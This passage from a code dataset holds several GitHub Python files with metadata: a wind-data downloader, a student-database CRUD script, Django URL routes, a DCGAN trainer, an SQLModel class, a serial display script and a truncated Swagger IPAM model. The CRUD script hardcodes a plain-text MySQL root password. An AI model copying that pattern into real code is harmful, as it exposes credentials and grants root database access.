   zip(newdf.columns, wtk_units), names=('Variable', 'Unit'))\n        fpath = os.path.join(self.out_dir, self.get_filename(req_time))\n        newdf.to_csv(fpath)\n        return newdf\n\n    def get_dataframe_for_this_time(self, req_time: datetime) -> pd.DataFrame:\n        \"\"\" Returns saved dataframe\"\"\"\n        fpath = os.path.join(self.out_dir, self.get_filename(req_time))\n        dfbase = self.get_locations()\n        try:\n            newdf = pd.read_csv(fpath, index_col=0)\n            if not newdf['Indices'].equals(dfbase['Indices']):\n                raise FileNotFoundError\n        except FileNotFoundError as _:\n            print('WTK: Need to download first!')\n            newdf = self.download_data_for_this_time(req_time)\n        return newdf\n\n    def download_data(\n        self,\n        req_times: Union[List[datetime], datetime],\n        max_cores: int = 1\n    ) -> None:\n        \"\"\" Downloads wtk data for all required datetimes\"\"\"\n        req_times = [req_times] if isinstance(\n            req_times, datetime) else req_times\n        num_cores = min(len(req_times), max_cores)\n        if num_cores > 1:\n            with mp.Pool(num_cores) as pool:\n                _ = pool.map(self.download_data_for_this_time, req_times)\n        else:\n            for i, _ in enumerate(req_times):\n                self.download_data_for_this_time(req_times[i])\n\n    def get_coordinates(self):\n        \"\"\" returns lon and lat coordinates of wtk source points \"\"\"\n        dfbase = self.get_locations()\n        return dfbase['Longitude'].values, dfbase['Latitude'].values\n\n    def get_filename(self, at_time: datetime):\n        \"\"\" Standard file naming for saving WTK data \"\"\"\n        return f'{at_time.strftime(self.datetime_format)}_wtk.csv'\n\n\ndef makedir_if_not_exists(dirname: str) -> None:\n    \"\"\" Create the directory if it does not exists\"\"\"\n    try:\n        os.makedirs(dirname)\n    except OSError as e_name:\n        if e_name.errno != errno.EEXIST:\n            raise\n", "repo_name": "NREL/SSRS", "sub_path": "ssrs/wtk/wtk.py", "file_name": "wtk.py", "file_ext": "py", "file_size_in_byte": 8022, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "81", "api": [{"api_name": "wtksource.WtkSource", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 64, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 67, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 90, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 112, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 98, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 118, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 119, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 156, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path", "line_number": 158, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 161, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 156, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 171, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 171, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 171, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 176, "usage_type": "argument"}, {"api_name": "pathos.multiprocessing.Pool", "line_number": 179, "usage_type": "call"}, {"api_name": "pathos.multiprocessing", "line_number": 179, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 190, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 198, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 200, "usage_type": "attribute"}]}
{"seq_id": "33300087835", "text": "\nimport pymysql\n\ndef CreatConn():\n    return pymysql.connect(host=\"localhost\",database=\"lernvern\",user=\"root\",password=\"Yuvraj@5587\",port=3306)\n\ndef showAllData():\n    conn = CreatConn()\n    cursor = conn.cursor()\n    query = \"select * from student\"\n    cursor.execute(query)\n    result = cursor.fetchall()\n    for i in result:\n        print(i)\n\n# showAllData()\n\n# update data into database\n\ndef UpdateData(name,email,city,sid):\n    conn = CreatConn()\n    cursor = conn.cursor()\n    args = (name,email,city,sid)\n    query = \"update student set name=%s,email=%s,city=%s where sid=%s\"\n    cursor.execute(query,args)\n    conn.commit()\n    print(\"data updated\")\n\nshowAllData()  #show database before updating\n\nsid = int(input(\"Enter your id:\"))\nn = input(\"Enter your name:\")\ne = input(\"Enter your email:\")\nc = input(\"Enter your city\")\n\nUpdateData(n,e,c,sid)   # for updteing\n\nshowAllData() # for showing updated data\n\n# delete data fro, databse\n\ndef  DeleteData(sid):\n    conn = CreatConn()\n    cursor = conn.cursor()\n    args = (sid)\n    query = \"delete from student where sid=%s\"\n    cursor.execute(query,args)\n    conn.commit()\n    print(\"data deleted\")\n    conn.close()\n\nshowAllData()\n\nsid = int(input(\"enter your id\"))\n\nDeleteData(sid)\n", "repo_name": "yuvrajrathod123/Python-", "sub_path": "Database/fetch_data.py", "file_name": "fetch_data.py", "file_ext": "py", "file_size_in_byte": 1237, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pymysql.connect", "line_number": 5, "usage_type": "call"}]}
{"seq_id": "36482392812", "text": "from . import views\nfrom django.urls import path\n\napp_name='loanway_app'\n\nurlpatterns = [\n    path('apply', views.approve_or_reject_loan),\n    path('your_applications', views.ListUserAppliedLoans.as_view()),\n    path('your_application/<int:id>', views.RetrieveUserAppliedLoans.as_view())\n]", "repo_name": "Olamidun/LoanWay", "sub_path": "loanway_app/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 289, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "27742335414", "text": "# encoding: utf-8\n#!/bin/python\n\nimport argparse\nimport os\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.optim as optim\nimport torch.utils.data\nimport torchvision.utils as vutils\nfrom torch.autograd import Variable\n\nimport util\nfrom model_interface import DCGAN\n#  from models.charater_embedder import TextEncoder\n\nfrom tensorboard_logger import configure, log_value\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='Text2Fig Generator')\n    parser = util.get_parser(parser)\n\n    opt = parser.parse_args()\n    print(opt)\n\n    # tensorboard creation\n    configure(opt.tensorboardPath)\n\n    try:\n        os.makedirs(opt.outf)\n    except OSError:\n        pass\n\n    if opt.manualSeed is None:\n        opt.manualSeed = random.randint(1, 10000)\n    print(\"Random Seed: \", opt.manualSeed)\n    random.seed(opt.manualSeed)\n    torch.manual_seed(opt.manualSeed)\n    if opt.cuda:\n        torch.cuda.manual_seed_all(opt.manualSeed)\n\n    cudnn.benchmark = True\n    if torch.cuda.is_available() and not opt.cuda:\n        print(\"WARNING: You have a CUDA device, so you should probably run with --cuda\")\n\n    # Get data\n    trn_dataset = util.get_data(opt, train_flag=True)\n    trn_loader = torch.utils.data.DataLoader(trn_dataset,\n                                             batch_size=opt.batchSize,\n                                             shuffle=True,\n                                             num_workers=int(opt.workers))\n\n    # dataloader = torch.utils.data.DataLoader(dataset, batch_size=opt.batchSize,\n    #                                          shuffle=True, num_workers=int(opt.workers))\n    alphabet = \"abcdefghijklmnopqrstuvwxyz0123456789-,;.!?:'\\\"/\\\\|_@#$%^&*~`+-=<>()[]{} \"\n    alpha_num = len(alphabet)\n    cnnDim = opt.cnnDim\n    netG, netD = DCGAN(opt)\n    #  netText = TextEncoder(alpha_num, cnnDim, opt.nz)\n\n    # # test\n    # test_data = torch.FloatTensor(10, 201, alpha_num)\n    # # print 'test_data size', test_data.size()\n    # test_data_var = Variable(test_data)\n    # output = netText(test_data_var)\n    # print(output.size())\n    # raw_input()\n\n    criterion = nn.BCELoss()\n\n    ngpu = int(opt.ngpu)\n    nz = int(opt.nz)\n    nc = int(opt.nc)\n    # ngf = int(opt.ngf)\n    # ndf = int(opt.ndf)\n\n\n    # Set up Variable for gpu\n    input = torch.FloatTensor(opt.batchSize, nc, opt.imageSize, opt.imageSize)\n    noise = torch.FloatTensor(opt.batchSize, nz, 1, 1)\n    fixed_noise = torch.FloatTensor(opt.batchSize, nz, 1, 1).normal_(0, 1)\n    label = torch.FloatTensor(opt.batchSize)\n    real_label = 1\n    fake_label = 0\n\n    if opt.cuda:\n        netD.cuda()\n        netG.cuda()\n        criterion.cuda()\n        input, label = input.cuda(), label.cuda()\n        noise, fixed_noise = noise.cuda(), fixed_noise.cuda()\n\n    input = Variable(input)\n    label = Variable(label)\n    noise = Variable(noise)\n    fixed_noise = Variable(fixed_noise)\n\n    # setup optimizer\n    optimizerD = optim.Adam(netD.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999))\n    optimizerG = optim.Adam(netG.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999))\n\n    # training process\n    for epoch in range(opt.niter):\n        for i, data in enumerate(trn_loader, 0):\n            ############################\n            # (1) Update D network: maximize log(D(x)) + log(1 - D(G(z)))\n            ###########################\n            # train with real\n            netD.zero_grad()\n            real_cpu, _ = data\n            batch_size = real_cpu.size(0)\n            input.data.resize_(real_cpu.size()).copy_(real_cpu)\n            label.data.resize_(batch_size).fill_(real_label)\n\n            output = netD(input)\n            errD_real = criterion(output, label)\n            errD_real.backward()\n            D_x = output.data.mean()\n\n            # train with fake\n            noise.data.resize_(batch_size, nz, 1, 1)\n            noise.data.normal_(0, 1)\n            fake = netG(noise)\n            label.data.fill_(fake_label)\n            output = netD(fake.detach()) # not updating netG\n            errD_fake = criterion(output, label)\n            errD_fake.backward()\n            D_G_z1 = output.data.mean()\n            errD = errD_real + errD_fake\n            optimizerD.step()\n\n            ############################\n            # (2) Update G network: maximize log(D(G(z)))\n            ###########################\n            netG.zero_grad()\n            label.data.fill_(real_label)  # fake labels are real for generator cost\n            output = netD(fake)\n            errG = criterion(output, label)\n            errG.backward()\n            D_G_z2 = output.data.mean()\n            optimizerG.step()\n\n            print('[%d/%d][%d/%d] Loss_D: %.4f Loss_G: %.4f D(x): %.4f D(G(z)): %.4f / %.4f'\n                  % (epoch, opt.niter, i, len(trn_loader),\n                     errD.data[0], errG.data[0], D_x, D_G_z1, D_G_z2))\n            log_value('Loss_D', errD.data[0], epoch * len(trn_loader) + i)\n            log_value('Loss_G', errG.data[0], epoch * len(trn_loader) + i)\n            if i % 100 == 0:\n                vutils.save_image(real_cpu,\n                                  '%s/real_samples.png' % opt.outf,\n                                  normalize=True)\n                fake = netG(fixed_noise)\n                vutils.save_image(fake.data,\n                                  '%s/fake_samples_epoch_%03d.png' % (opt.outf, epoch),\n                                  normalize=True)\n\n        # do checkpointing\n        torch.save(netG.state_dict(), '%s/netG_epoch_%d.pth' % (opt.outf, epoch))\n        torch.save(netD.state_dict(), '%s/netD_epoch_%d.pth' % (opt.outf, epoch))\n\n", "repo_name": "pkumusic/syn-image", "sub_path": "main.dcgan.py", "file_name": "main.dcgan.py", "file_ext": "py", "file_size_in_byte": 5686, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 24, "usage_type": "call"}, {"api_name": "util.get_parser", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorboard_logger.configure", "line_number": 31, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 34, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 39, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 46, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 47, "usage_type": "attribute"}, {"api_name": "util.get_data", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 52, "usage_type": "attribute"}, {"api_name": "model_interface.DCGAN", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn.BCELoss", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 104, "usage_type": "name"}, {"api_name": "tensorboard_logger.log_value", "line_number": 150, "usage_type": "call"}, {"api_name": "tensorboard_logger.log_value", "line_number": 151, "usage_type": "call"}, {"api_name": "torchvision.utils.save_image", "line_number": 153, "usage_type": "call"}, {"api_name": "torchvision.utils", "line_number": 153, "usage_type": "name"}, {"api_name": "torchvision.utils.save_image", "line_number": 157, "usage_type": "call"}, {"api_name": "torchvision.utils", "line_number": 157, "usage_type": "name"}, {"api_name": "torch.save", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 163, "usage_type": "call"}]}
{"seq_id": "70621683145", "text": "from datetime import datetime\nfrom typing import Optional\n\nfrom sqlmodel import Field, SQLModel\n\n\nclass Activity(SQLModel, table=True):\n    id: Optional[int] = Field(default=None, primary_key=True)\n    name: str\n    start: datetime\n    end: Optional[datetime] = None\n\n    @property\n    def duration_in_seconds(self) -> int:\n        if self.end is None:\n            return 0\n        return (self.end - self.start).seconds\n", "repo_name": "bbelderbos/timer", "sub_path": "timer/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 421, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlmodel.SQLModel", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 8, "usage_type": "name"}, {"api_name": "sqlmodel.Field", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 11, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "name"}]}
{"seq_id": "20239710042", "text": "#encoding = utf-8\nimport serial\nimport serial.tools.list_ports\nimport time\nimport os\nimport tcpic\n\n# a= serial.tools.list_ports.comports()\n\nser= serial.Serial(\"COM8\", 115200)\n\nprint (ser)\n\n# # display something\n# display = [0x5b, 0x18, 0x18, 0x10, 0x10, 0x01, 0x00]\n\n# words = [0xBA, 0xBC, 0xD6, 0xDD, 0xC7, 0xE5, 0xB4, 0xEF, 0xB9, 0xE2, 0xB5, 0xE7, 0xBC, 0xBC, 0xCA, 0xF5, 0xD3, 0xD0, 0xCF, 0xDE, 0xB9, 0xAB, 0xCB, 0xBE]\n\n# # ser.write(bytes([0x5B, 0x28, 0x18, 0x10, 0x10, 0x0C, 0x00, 0xBA, 0xBC, 0xD6, 0xDD, 0xC7, 0xE5, 0xB4, 0xEF, 0xB9, 0xE2, 0xB5, 0xE7, 0xBC, 0xBC, 0xCA, 0xF5, 0xD3, 0xD0, 0xCF, 0xDE, 0xB9, 0xAB, 0xCB, 0xBE]))\n# while len(words) != 0:\n    \n#     display.append(words.pop(0))\n#     display.append(words.pop(0))\n    \n#     ser.write(bytes(display))\n\n#     display[2] += 16\n\n#     display.pop()\n#     display.pop()\n\n#     time.sleep(0.04)\n\n# ========================================================\n\ndisplay = [0x5d, 0x00, 0x00, 0x40, 0x40]\n\n#display = [0x81, 0x02, 0x00, 0x00, 0x40, 0x40, 0x01, 0x00, 0x80, 0x01]\n\ndisplay = display + tcpic.tcpic\n\nser.write(bytes(display))\n\ntime.sleep(0.5)\n\ndisplay = [0x5b, 0x18, 0x40, 0x10, 0x10, 0x01, 0x00]\n\nwords = [0xB1, 0xB1,\n         0xBE, 0xA9,\n         0xCC, 0xEC,\n         0xB3, 0xBD,\n         0xB9, 0xB2,\n         0xB4, 0xB4,\n         0xBF, 0xC6,\n         0xBC, 0xBC,\n         0xD3, 0xD0,\n         0xCF, 0xDE,\n         0xB9, 0xAB,\n         0xCB, 0xBE]\n   \nwhile len(words) != 0:\n    \n    display.append(words.pop(0))\n    display.append(words.pop(0))\n    \n    ser.write(bytes(display))\n\n    display[2] += 16\n\n    display.pop()\n    display.pop()\n\n    time.sleep(0.5)\n\n\n\n\n", "repo_name": "walter-sarajevo/pro", "sub_path": "pyserial/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1634, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "serial.Serial", "line_number": 10, "usage_type": "call"}, {"api_name": "tcpic.tcpic", "line_number": 40, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 44, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 73, "usage_type": "call"}]}
{"seq_id": "73909679624", "text": "# coding: utf-8\n\n\"\"\"\n    IP Address Management API\n\n    The IPAM/DHCP Application is a BloxOne DDI service providing IP address management and DHCP protocol features. The IPAM component provides visibility into and provisioning tools to manage networking spaces, monitoring and reporting of entire IP address infrastructures, and integration with DNS and DHCP protocols. The DHCP component provides DHCP protocol configuration service with on-prem host serving DHCP protocol. It is part of the full-featured, DDI cloud solution that enables customers to deploy large numbers of protocol servers to deliver DNS and DHCP throughout their enterprise network.     # noqa: E501\n\n    OpenAPI spec version: v1\n    \n    Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re  # noqa: F401\n\nimport six\n\n\nclass IpamsvcFixedAddress(object):\n    \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n    Do not edit the class manually.\n    \"\"\"\n\n    \"\"\"\n    Attributes:\n      swagger_types (dict): The key is attribute name\n                            and the value is attribute type.\n      attribute_map (dict): The key is attribute name\n                            and the value is json key in definition.\n    \"\"\"\n    swagger_types = {\n        'address': 'str',\n        'comment': 'str',\n        'dhcp_options': 'list[IpamsvcOptionItem]',\n        'id': 'str',\n        'inheritance_assigned_hosts': 'list[InheritanceAssignedHost]',\n        'inheritance_parent': 'str',\n        'inheritance_sources': 'IpamsvcDHCPOptionsInheritance',\n        'ip_space': 'str',\n        'match_type': 'str',\n        'match_value': 'str',\n        'name': 'str',\n        'parent': 'str',\n        'tags': 'TypesJSONValue'\n    }\n\n    attribute_map = {\n        'address': 'address',\n        'comment': 'comment',\n        'dhcp_options': 'dhcp_options',\n        'id': 'id',\n        'inheritance_assigned_hosts': 'inheritance_assigned_hosts',\n        'inheritance_parent': 'inheritance_parent',\n        'inheritance_sources': 'inheritance_sources',\n        'ip_space': 'ip_space',\n        'match_type': 'match_type',\n        'match_value': 'match_value',\n        'name': 'name',\n        'parent': 'parent',\n        'tags': 'tags'\n    }\n\n    def __init__(self, address=None, comment=None, dhcp_options=None, id=None, inheritance_assigned_hosts=None, inheritance_parent=None, inheritance_sources=None, ip_space=None, match_type=None, match_value=None, name=None, parent=None, tags=None):  # noqa: E501\n        \"\"\"IpamsvcFixedAddress - a model defined in Swagger\"\"\"  # noqa: E501\n\n        self._address = None\n        self._comment = None\n        self._dhcp_options = None\n        self._id = None\n        self._inheritance_assigned_hosts = None\n        self._inheritance_parent = None\n        self._inheritance_sources = None\n        self._ip_space = None\n        self._match_type = None\n        self._match_value = None\n        self._name = None\n        self._parent = None\n        self._tags = None\n        self.discriminator = None\n\n        self.address = address\n        if comment is not None:\n            self.comment = comment\n        if dhcp_options is not None:\n            self.dhcp_options = dhcp_options\n        if id is not None:\n            self.id = id\n        if inheritance_assigned_hosts is not None:\n            self.inheritance_assigned_hosts = inheritance_assigned_hosts\n        if inheritance_parent is not None:\n            self.inheritance_parent = inheritance_parent\n        if inheritance_sources is not None:\n            self.inheritance_sources = inheritance_sources\n        if ip_space is not None:\n            self.ip_space = ip_space\n        self.match_type = match_type\n        self.match_value = match_value\n        if name is not None:\n            self.name = name\n        if parent is not None:\n            self.parent = parent\n        if tags is not None:\n            self.tags = tags\n\n    @property\n    def address(self):\n        \"\"\"Gets the address of this IpamsvcFixedAddress.  # noqa: E501\n\n\n        :return: The address of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._address\n\n    @address.setter\n    def address(self, address):\n        \"\"\"Sets the address of this IpamsvcFixedAddress.\n\n\n        :param address: The address of this IpamsvcFixedAddress.  # noqa: E501\n        :type: str\n        \"\"\"\n        if address is None:\n            raise ValueError(\"Invalid value for `address`, must not be `None`\")  # noqa: E501\n\n        self._address = address\n\n    @property\n    def comment(self):\n        \"\"\"Gets the comment of this IpamsvcFixedAddress.  # noqa: E501\n\n        A comment of the Fixed Address object.  # noqa: E501\n\n        :return: The comment of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._comment\n\n    @comment.setter\n    def comment(self, comment):\n        \"\"\"Sets the comment of this IpamsvcFixedAddress.\n\n        A comment of the Fixed Address object.  # noqa: E501\n\n        :param comment: The comment of this IpamsvcFixedAddress.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._comment = comment\n\n    @property\n    def dhcp_options(self):\n        \"\"\"Gets the dhcp_options of this IpamsvcFixedAddress.  # noqa: E501\n\n        A list of DHCP options. May be either a specific option or a group of options.  # noqa: E501\n\n        :return: The dhcp_options of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: list[IpamsvcOptionItem]\n        \"\"\"\n        return self._dhcp_options\n\n    @dhcp_options.setter\n    def dhcp_options(self, dhcp_options):\n        \"\"\"Sets the dhcp_options of this IpamsvcFixedAddress.\n\n        A list of DHCP options. May be either a specific option or a group of options.  # noqa: E501\n\n        :param dhcp_options: The dhcp_options of this IpamsvcFixedAddress.  # noqa: E501\n        :type: list[IpamsvcOptionItem]\n        \"\"\"\n\n        self._dhcp_options = dhcp_options\n\n    @property\n    def id(self):\n        \"\"\"Gets the id of this IpamsvcFixedAddress.  # noqa: E501\n\n        The resource identifier.  # noqa: E501\n\n        :return: The id of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._id\n\n    @id.setter\n    def id(self, id):\n        \"\"\"Sets the id of this IpamsvcFixedAddress.\n\n        The resource identifier.  # noqa: E501\n\n        :param id: The id of this IpamsvcFixedAddress.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._id = id\n\n    @property\n    def inheritance_assigned_hosts(self):\n        \"\"\"Gets the inheritance_assigned_hosts of this IpamsvcFixedAddress.  # noqa: E501\n\n        Read-only. The list of the inheritance assigned hosts of the object.  # noqa: E501\n\n        :return: The inheritance_assigned_hosts of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: list[InheritanceAssignedHost]\n        \"\"\"\n        return self._inheritance_assigned_hosts\n\n    @inheritance_assigned_hosts.setter\n    def inheritance_assigned_hosts(self, inheritance_assigned_hosts):\n        \"\"\"Sets the inheritance_assigned_hosts of this IpamsvcFixedAddress.\n\n        Read-only. The list of the inheritance assigned hosts of the object.  # noqa: E501\n\n        :param inheritance_assigned_hosts: The inheritance_assigned_hosts of this IpamsvcFixedAddress.  # noqa: E501\n        :type: list[InheritanceAssignedHost]\n        \"\"\"\n\n        self._inheritance_assigned_hosts = inheritance_assigned_hosts\n\n    @property\n    def inheritance_parent(self):\n        \"\"\"Gets the inheritance_parent of this IpamsvcFixedAddress.  # noqa: E501\n\n        The resource identifier.  # noqa: E501\n\n        :return: The inheritance_parent of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._inheritance_parent\n\n    @inheritance_parent.setter\n    def inheritance_parent(self, inheritance_parent):\n        \"\"\"Sets the inheritance_parent of this IpamsvcFixedAddress.\n\n        The resource identifier.  # noqa: E501\n\n        :param inheritance_parent: The inheritance_parent of this IpamsvcFixedAddress.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._inheritance_parent = inheritance_parent\n\n    @property\n    def inheritance_sources(self):\n        \"\"\"Gets the inheritance_sources of this IpamsvcFixedAddress.  # noqa: E501\n\n        Optional. Inheritance configuration.  # noqa: E501\n\n        :return: The inheritance_sources of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: IpamsvcDHCPOptionsInheritance\n        \"\"\"\n        return self._inheritance_sources\n\n    @inheritance_sources.setter\n    def inheritance_sources(self, inheritance_sources):\n        \"\"\"Sets the inheritance_sources of this IpamsvcFixedAddress.\n\n        Optional. Inheritance configuration.  # noqa: E501\n\n        :param inheritance_sources: The inheritance_sources of this IpamsvcFixedAddress.  # noqa: E501\n        :type: IpamsvcDHCPOptionsInheritance\n        \"\"\"\n\n        self._inheritance_sources = inheritance_sources\n\n    @property\n    def ip_space(self):\n        \"\"\"Gets the ip_space of this IpamsvcFixedAddress.  # noqa: E501\n\n        The resource identifier.  # noqa: E501\n\n        :return: The ip_space of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._ip_space\n\n    @ip_space.setter\n    def ip_space(self, ip_space):\n        \"\"\"Sets the ip_space of this IpamsvcFixedAddress.\n\n        The resource identifier.  # noqa: E501\n\n        :param ip_space: The ip_space of this IpamsvcFixedAddress.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._ip_space = ip_space\n\n    @property\n    def match_type(self):\n        \"\"\"Gets the match_type of this IpamsvcFixedAddress.  # noqa: E501\n\n\n        :return: The match_type of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._match_type\n\n    @match_type.setter\n    def match_type(self, match_type):\n        \"\"\"Sets the match_type of this IpamsvcFixedAddress.\n\n\n        :param match_type: The match_type of this IpamsvcFixedAddress.  # noqa: E501\n        :type: str\n        \"\"\"\n        if match_type is None:\n            raise ValueError(\"Invalid value for `match_type`, must not be `None`\")  # noqa: E501\n\n        self._match_type = match_type\n\n    @property\n    def match_value(self):\n        \"\"\"Gets the match_value of this IpamsvcFixedAddress.  # noqa: E501\n\n        Value to match.  # noqa: E501\n\n        :return: The match_value of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._match_value\n\n    @match_value.setter\n    def match_value(self, match_value):\n        \"\"\"Sets the match_value of this IpamsvcFixedAddress.\n\n        Value to match.  # noqa: E501\n\n        :param match_value: The match_value of this IpamsvcFixedAddress.  # noqa: E501\n        :type: str\n        \"\"\"\n        if match_value is None:\n            raise ValueError(\"Invalid value for `match_value`, must not be `None`\")  # noqa: E501\n\n        self._match_value = match_value\n\n    @property\n    def name(self):\n        \"\"\"Gets the name of this IpamsvcFixedAddress.  # noqa: E501\n\n        The name of Fixed Address object.  # noqa: E501\n\n        :return: The name of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._name\n\n    @name.setter\n    def name(self, name):\n        \"\"\"Sets the name of this IpamsvcFixedAddress.\n\n        The name of Fixed Address object.  # noqa: E501\n\n        :param name: The name of this IpamsvcFixedAddress.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._name = name\n\n    @property\n    def parent(self):\n        \"\"\"Gets the parent of this IpamsvcFixedAddress.  # noqa: E501\n\n        The resource identifier.  # noqa: E501\n\n        :return: The parent of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._parent\n\n    @parent.setter\n    def parent(self, parent):\n        \"\"\"Sets the parent of this IpamsvcFixedAddress.\n\n        The resource identifier.  # noqa: E501\n\n        :param parent: The parent of this IpamsvcFixedAddress.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._parent = parent\n\n    @property\n    def tags(self):\n        \"\"\"Gets the tags of this IpamsvcFixedAddress.  # noqa: E501\n\n\n        :return: The tags of this IpamsvcFixedAddress.  # noqa: E501\n        :rtype: 